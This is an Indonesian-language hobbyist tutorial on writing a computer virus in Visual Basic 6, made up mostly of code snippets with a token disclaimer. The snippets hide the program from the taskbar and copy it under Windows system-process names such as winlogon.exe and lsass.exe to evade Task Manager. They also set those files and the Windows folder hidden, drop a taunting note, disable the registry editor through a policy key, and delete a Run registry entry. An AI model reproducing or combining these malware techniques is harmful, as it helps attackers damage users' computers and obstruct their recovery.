Bikin Vi**s Pake VB6
created by: fr4mz Reference from: Riza Masykur
fr4mz.wordpress.com riza-masykur.blogspot.com
Nyeh-nyeh-nyeh tulisan dibawah ini hanya buat nambah pengetahuan kita aja. Meskipun ntarnya buat ngajiilin juga, tertutama t-men2 q-ta yang sangat alergi dan benci ma yg nmnya Virrrruzzzz Dan aku nggak bertanggung jawab atas segala penyalahgunaan isi tulisan di document ini..
Ok. kalo kamu setuju, lanjut.....
Now, let’s get it started in here!
pertama, bikin form buat vi**s kamu pake standard exe aja keyz!
Disini ku gk ksh tw penjelasannya. Biar framzer blajar skalian.kan udah gedhe..
'cape dewh'
buat FRAMZER ni tak kasih kode yang simpel aja. yang ngga pake deklarasi. biar gak terlalu bingung. 'aku aja masih bingung' hehehe,,
1. Nyembunyiin Form
Private Sub Form_Load()
App.TaskVisible = False
End Sub
2. Kopiin Diri Sendiri
misalna mo dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama vi**s pake nama system pada windows
On Error Resume Next
FileCopy App.EXEName + ".exe", "C:\WINDOWS\winlogon.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\csrss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\services.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\smss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\lsass.exe"
misalnya bikin folder di windows direktori
On Error Resume Next
MkDir "C:\WINDOWS\virus"
4. Mengganti Atribut file
bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden
Set sembunyi = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
sembunyi.GetFile("C:\WINDOWS\winlogon.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\csrss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\services.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\smss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\lsass.exe").Attributes = 2
tapi kalo folder pakenya
sembunyi.GetFolder("C:\WINDOWS\").Attributes = 2
5. Bikin Pesan Vi**s
bikin pesen pake text file
On Error Resume Next
Set bikinpesen = CreateObject("Scripting.FileSystemObject")
Set isipesen = bikinpesen.Createtextfile("C:\baca saya.txt ")
isipesen.writeline ("komputer kamu kena virus bodoh ")
isipesen.Close
6.Ngubah Registry
misalna mo disable regedit
On Error Resume Next
Set ubahreg = CreateObject("WScript.Shell")
ubahreg.regwrite "HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools", 1, "REG_DWORD"
7.Nghapus Registry
misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon
On Error Resume Next
Set hapusreg = CreateObject("WScript.Shell")
hapusreg.regdelete "HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon"
